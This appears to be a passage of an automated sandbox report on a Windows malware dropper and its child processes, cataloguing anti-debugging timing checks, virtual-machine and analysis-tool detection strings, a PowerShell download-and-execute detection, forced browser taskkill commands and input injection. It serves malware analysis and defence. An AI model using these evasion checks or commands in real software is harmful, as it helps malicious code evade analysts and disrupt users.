Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D07F5 second address: 54D084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F99146B459Dh 0x0000000a add esi, 506EA8B6h 0x00000010 jmp 00007F99146B45A1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 nop 0x0000001a jmp 00007F99146B459Eh 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 call 00007F99146B45A7h 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D084D second address: 54D0865 instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, 6E38h 0x0000000a popad 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99150F94FAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0865 second address: 54D086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D086B second address: 54D086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D086F second address: 54D0873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0873 second address: 54D0894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99150F9504h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0894 second address: 54D089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D089A second address: 54D089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103EB1E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 103EC10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11E5FE6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1211AE4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11EFE62 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12759C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A3EB1E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A3EC10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: BE5FE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: C11AE4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: BEFE62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: C759C1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Special instruction interceptor: First address: 90F970 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Special instruction interceptor: First address: AE3EA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Special instruction interceptor: First address: 90F8AF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05520BF8 rdtsc

0_2_05520BF8

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1575	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1362	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1474	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Window / User API: threadDelayed 543
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Window / User API: threadDelayed 522

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	API coverage: 0.0 %
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	API coverage: 3.5 %

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5264	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5264	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5900	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 5900	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3924	Thread sleep count: 328 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3924	Thread sleep time: -9840000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2316	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2316	Thread sleep time: -106053s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 764	Thread sleep count: 1575 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 764	Thread sleep time: -3151575s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 1216	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2804	Thread sleep count: 1362 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2804	Thread sleep time: -2725362s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3276	Thread sleep count: 1474 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 3276	Thread sleep time: -2949474s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	8_2_0094DBBE
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0091C2A2 FindFirstFileExW,	8_2_0091C2A2
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009568EE FindFirstFileW,FindClose,	8_2_009568EE
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0095698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	8_2_0095698F
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_0094D076
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0094D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	8_2_0094D3A9
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00959642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_00959642
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0095979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	8_2_0095979D
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00959B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	8_2_00959B2B
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00955C97 FindFirstFileW,FindNextFileW,FindClose,	8_2_00955C97

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_008E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_008E42DE

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: 63371c25d6.exe, 63371c25d6.exe, 0000001D.00000002.3012103771.0000000000A9C000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001222000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9U)
Source: axplong.exe, 00000006.00000002.3288889656.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2866418794.000002ADC12FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 63371c25d6.exe, 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareVC:5
Source: file.exe, 00000000.00000003.2052929999.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000007.00000002.2739218915.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000007.00000002.2739218915.0000000001222000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879623730.0000025929BBA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879623730.0000025929BF1000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.0000000001207000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2866384916.000001CBE779A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2869359238.000001CBE7F70000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F55000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3050235794.000001EF1F7A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000015.00000002.2881592543.0000025933AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2876411618.000002ADC1716000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 63371c25d6.exe, 00000018.00000002.2831755373.00000000011D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2877221775.000002ADC1800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWk
Source: file.exe, 00000000.00000002.2078874880.00000000011C9000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000002.00000002.2106984308.0000000000BC9000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000003.00000002.2112645093.0000000000BC9000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.3282431990.0000000000BC9000.00000040.00000001.01000000.00000007.sdmp, 63371c25d6.exe, 00000007.00000002.2737809197.0000000000A9C000.00000040.00000001.01000000.00000009.sdmp, 63371c25d6.exe, 00000018.00000002.2829196663.0000000000A9C000.00000040.00000001.01000000.00000009.sdmp, 63371c25d6.exe, 0000001D.00000002.3012103771.0000000000A9C000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000015.00000002.2879623730.0000025929BB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: firefox.exe, 00000016.00000002.2877221775.000002ADC1800000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2869359238.000001CBE7F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05520BF8 rdtsc

0_2_05520BF8

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0095EAA2 BlockInput,

8_2_0095EAA2

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00912622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00912622

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_008E42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

8_2_008E42DE

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A0645B mov eax, dword ptr fs:[00000030h]	6_2_00A0645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00A0A1C2 mov eax, dword ptr fs:[00000030h]	6_2_00A0A1C2
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00904CE8 mov eax, dword ptr fs:[00000030h]	8_2_00904CE8

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00940B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

8_2_00940B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00912622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00912622
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_0090083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0090083F
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_009009D5 SetUnhandledExceptionFilter,	8_2_009009D5
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00900C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00900C21

Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 1992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 63371c25d6.exe PID: 5636, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

8_2_00941201

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00922BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

8_2_00922BA5

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0094B226 SendInput,keybd_event,

8_2_0094B226

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_009622DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

8_2_009622DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
